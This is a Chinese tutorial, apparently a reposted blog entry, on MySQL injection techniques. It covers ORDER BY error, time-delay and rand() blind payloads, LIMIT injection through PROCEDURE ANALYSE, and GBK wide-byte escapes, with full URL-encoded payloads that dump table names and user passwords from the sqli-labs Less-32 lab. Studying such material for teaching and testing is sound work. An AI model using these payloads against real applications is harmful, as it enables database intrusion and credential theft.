当前位置:网站首页>SQL注入基础---order by \ limit \ 宽字节注入
SQL注入基础---order by \ limit \ 宽字节注入
2022-08-10 23:35:00 【抱小猫】
目录
order by
(1)order by 注入存在原因
order by 子句在MySQL中可以猜测表中的列数,再配合union select语句进行回显。
但是,当页面出现MySQL报错信息时,且order by后面有可控参数,此时就可以利用报错信息进行注入
(2)案例1:利用报错函数注入
select * from users order by updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1);
(3)案例2:利用延时函数注入
select * from users order by if(concat(0x7e,user(),0x7e),1,sleep(3));
延迟时间不是3秒,而是查询的数据条数*3=总共的延时时间
当SQL语句为真时就会有延迟,SQL语句为假时是以正常时间显示。
(4)案例3:利用rand()盲注
rand()函数产生的随机数是0到1之间,但是当给rand()函数一个参数时,这个参数就变成一个种子,这个种子生成的0到1之间的随机数是固定不变的
我们发现rand()参数为0或1时,我们使用布尔盲注再次测试
select * from users order by rand(ascii(mid((select database()),1,1))=8);
(5)案例4:if进行盲注
当if语句有效时输出为乱序,当if语句无效时输出不会改变顺序。
limit注入
(1)limit使用介绍
limit[位置偏移量,]行数:位置偏移量指MySQL查询分析器开始显示的函数,行数指指示返回的记录条数。
基本使用: select * from users limit 1,4;
在limit后面可以跟两个函数,procedure 和 into,into除非有写入shell的权限,否则是无法利用的,那么我们就自能从procedure找突破口。
benchmark函数有两个参数,第一个是执行次数,第二个是要测试的函数或者表达式
比如 benchmark(10000000,函数(1))
意思是执行表达式10000000次, 使mysql运算量增大而导致延时,类似与多表联合查询/笛卡尔积。
(2)案例
select * from users limit 1 procedure analyse(extractvalue(rand(),concat(0x3a,benchmark(10000000,user()))),1);
宽字节注入
(1)什么是宽字节?
宽字节的字符大小为两个字节,像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,注意所有英文默认占用一个字节,中文占用两个字节。
(2)宽字节中常见转义函数
addslashes() 函数:返回在预定义字符之前添加反斜杠的字符串
mysql_real_escape_string() 函数:转义 SQL 语句中使用的字符串中的特殊字符
mysql_escape_string() 函数:转义一个字符串
(3)案例:sqli-labs第32关
可以看出单引号被转义了,查看源码
我们在1的后面加上%df
1、那为什么加上%df就把单引号逃逸出来了呢?
这涉及到了mysql的特性,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\
也就是%5c变成了一个汉字“運”,而单引号逃逸了出来。
2、但是MySQL是如何判断字符或汉字的呢?
根据gbk编码,第一个字节ascii码大于128,基本上就可以判断。比如我们将%df换成%a1
这样单引号逃逸出来后我们就可以查询数据库中的数据了
1、获得数据库中的表
http://127.0.0.1/sqli/Less-32/?id=-1%a1%27%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())--+
2、获得users表中的字段
http://127.0.0.1/sqli/Less-32/?id=-1%df%27%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273)--+
3、获取用户和用户密码
http://127.0.0.1/sqli/Less-32/?id=-1%df%27%20union%20select%201,2,(select%20group_concat(username,password)%20from%20security.users)--+
边栏推荐
猜你喜欢
随机推荐
进程和线程
基于Web的疫情隔离区订餐系统
李宏毅机器学习-- Backpropagation
C language, operators of shift operators (> >, < <) explanation
MySQL数据库基础操作
Flink(Pometheus监控)
基于SSM实现手机销售商城系统
还在用 Xshell?你 out 了,推荐一个更现代的终端连接工具,好用到爆!
小程序制作开发应遵循哪些原则?
App基础优化三部曲:启动原理&黑白屏优化&启动时间优化
[C] the C language program design, dynamic address book (order)
从Todolist入门Svelte框架
线程池如何监控,才能帮助开发者快速定位线上错误?
22年全国程序员1月薪资出炉,才知道年薪 40 万以上的有这么多?
vr虚拟仿真教学系统应用场景开发
PlaidCTF 2022 Amongst Ourselves: Shipmate writeup
Doris建表注意事项,实时数仓的同学记得收藏
Geogebra 教程之 03 没有铅笔的数学
HGAME 2022 Week4 writeup
后疫情时代,VR全景营销这样玩更加有趣!